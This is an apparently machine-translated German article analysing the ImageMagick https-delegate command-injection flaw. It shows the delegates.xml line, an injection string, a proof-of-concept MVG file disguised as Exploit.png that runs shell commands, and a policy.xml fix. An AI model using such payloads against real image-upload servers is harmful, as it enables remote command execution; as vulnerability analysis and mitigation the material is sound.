Heim  >  Artikel  >  Backend-Entwicklung  >  Eine eingehende Analyse der Schwachstellen bei der Ausführung von ImageMagick-Befehlen

Eine eingehende Analyse der Schwachstellen bei der Ausführung von ImageMagick-Befehlen

WBOY
WBOYOriginal
2016-12-05 13:27:171440Durchsuche

00 Vorwort

Was ist ImageMagick?

ImageMagick ist eine leistungsstarke Open-Source-Grafikverarbeitungssoftware, mit der mehr als 90 Arten von Bilddateien gelesen, geschrieben und verarbeitet werden können, darunter die gängigen Formate JPEG, GIF, PNG, PDF und PhotoCD. Verwenden Sie es, um Bilder mit verschiedenen Spezialeffekten wie Ausschneiden, Drehen und Kombinieren zu bearbeiten.

Aufgrund seiner leistungsstarken Funktionen, der guten Leistung und der erweiterten Unterstützung für viele Sprachen wird es häufig in der Programmentwicklung eingesetzt. Viele Website-Entwickler verwenden gerne ImageMagick-Erweiterungen, um Bildverarbeitungsarbeiten im Web durchzuführen, z. B. die Erstellung von Benutzer-Avataren, die Bildbearbeitung usw.

01 Schwachstellenbeschreibung

ImageMagick ist eine Open-Source-Bildverarbeitungsbibliothek, die mehrere Sprachen wie PHP, Ruby, NodeJS und Python unterstützt und weit verbreitet ist. Viele Bildverarbeitungs-Plug-ins, darunter PHP imagick, Ruby rmagick und paperclip sowie NodeJS imagemagick, sind alle darauf angewiesen, um ausgeführt zu werden. Wenn ein Angreifer ein Image erstellt, das bösartigen Code enthält, verarbeitet die ImageMagick-Bibliothek HTTPPS-Dateien nicht ordnungsgemäß und führt keine Filterung durch. Sie kann Remote-Befehle ausführen und möglicherweise den Server steuern.

02 Impact Level

Angriffskosten: niedrig

Gefahrenstufe: Hoch

Betroffener Bereich: Alle Versionen vor ImageMagick 6.9.3-9

03 Schwachstellenanalyse

Die Sicherheitslücke bei der Befehlsausführung tritt bei der Verarbeitung von https-Dateien durch ImageMagick auf.

Der Grund, warum ImageMagick so viele Dateiformate unterstützt, liegt darin, dass es über viele integrierte Bildverarbeitungsbibliotheken verfügt. ImageMagick hat diese Bildverarbeitungsbibliotheken „Delegate“ (Delegate) genannt und jeder Delegate entspricht einer Datei in ein Format und rufen Sie dann die externe Bibliothek zur Verarbeitung über den system()-Befehl des Systems auf. Der Prozess des Aufrufs der externen Bibliothek wird mit dem Systembefehl des Systems ausgeführt, was dazu führt, dass der Code den Befehl ausführt.

Standardkonfigurationsdatei für ImageMagick-Delegaten: /etc/ImageMagick/delegates.xml

Spezifischen Code finden Sie unter: Github-ImageMagick

Wir suchen die Zeile für die https-Delegierung:

" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

Wie Sie sehen können, definiert der Befehl den Befehl, den er bei der Verarbeitung von https-Dateien in die Funktion system() einbringt: „wget“ -q -O „%o“ „https:%M“.

wget ist ein Befehl zum Herunterladen von Dateien aus dem Netzwerk. %M ist ein Platzhalter. Er muss in der Konfigurationsdatei wie folgt definiert werden:

%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

Sie können sehen, dass %m als Eingabebildformat definiert ist, was der von uns eingegebenen URL-Adresse entspricht. Da wir jedoch nur einfaches String-Splicing ohne Filterung durchgeführt und es direkt in den Befehlsbefehl gespleißt haben, können wir die Anführungszeichen schließen und sie über „|“, „`“, „&“ usw. in andere Befehle einfügen. Das heißt, es wird eine Befehlsinjektion gebildet.

Zum Beispiel übergeben wir den folgenden Code:

https://test.com"|ls “-al

Der eigentliche Befehl, der von der Systemfunktion ausgeführt wird, ist:

“wget” -q -O “%o” “ https://test.com"|ls “-al”

Auf diese Weise wird der Befehl ls -al erfolgreich ausgeführt.

04 Ausnutzung von Sicherheitslücken

Der POC dieser Schwachstelle wurde von einem Ausländer wie folgt angegeben:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

Push und Pop werden für Stapeloperationen verwendet, einer wird in den Stapel geschoben und der andere wird aus dem Stapel herausgeholt;

Viewbox stellt die Größe des sichtbaren Bereichs von SVG dar, oder man kann es sich als Bühnengröße oder Leinwandgröße vorstellen. Ein einfaches Verständnis besteht darin, einen Teil des Bildschirms basierend auf den folgenden Parametern auszuwählen:

fill url() füllt das Bild in das aktuelle Element;

Darin verwenden wir fill url(), um den anfälligen https-Delegaten aufzurufen. Wenn ImageMagick diese Datei verarbeitet, wird die Schwachstelle ausgelöst.

Anhang: ImageMagick unterstützt standardmäßig ein Bildformat namens mvg, und mvg ähnelt dem SVG-Format, in dem der Inhalt des Vektorbilds in Textform geschrieben wird, sodass andere Delegaten in ImageMagick geladen werden können (z. B der anfällige https-Delegierte). Und während des Grafikverarbeitungsprozesses verarbeitet ImageMagick sie automatisch entsprechend ihrem Inhalt, was bedeutet, dass wir die Datei willkürlich als PNG, JPG und andere für den Website-Upload zulässige Formate definieren können, was die Ausnutzbarkeit der Schwachstelle erheblich erhöht.

Nutzungsprozess:

Erstellen Sie eine Exploit.png-Datei mit folgendem Inhalt:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

Befehl ausführen: Convert Exploit.png 1.png (im Folgenden sind die Parameter von Convert)

05 Fehlerbehebungen

Upgrade auf die neueste Version

Konfigurieren Sie /etc/ImageMagick/policy.xml, um https- und mvg-Delegates zu deaktivieren, oder löschen Sie den entsprechenden Delegaten direkt in der Konfigurationsdatei

<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

Das Obige ist das vom Herausgeber eingeführte Wissen über die Schwachstellen bei der Befehlsausführung von ImageMagick. Ich hoffe, es wird Ihnen hilfreich sein. Wenn Sie Fragen haben, hinterlassen Sie mir bitte eine Nachricht und der Herausgeber wird Ihnen rechtzeitig antworten. Ich möchte mich auch bei Ihnen allen für Ihre Unterstützung der Script House-Website bedanken!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn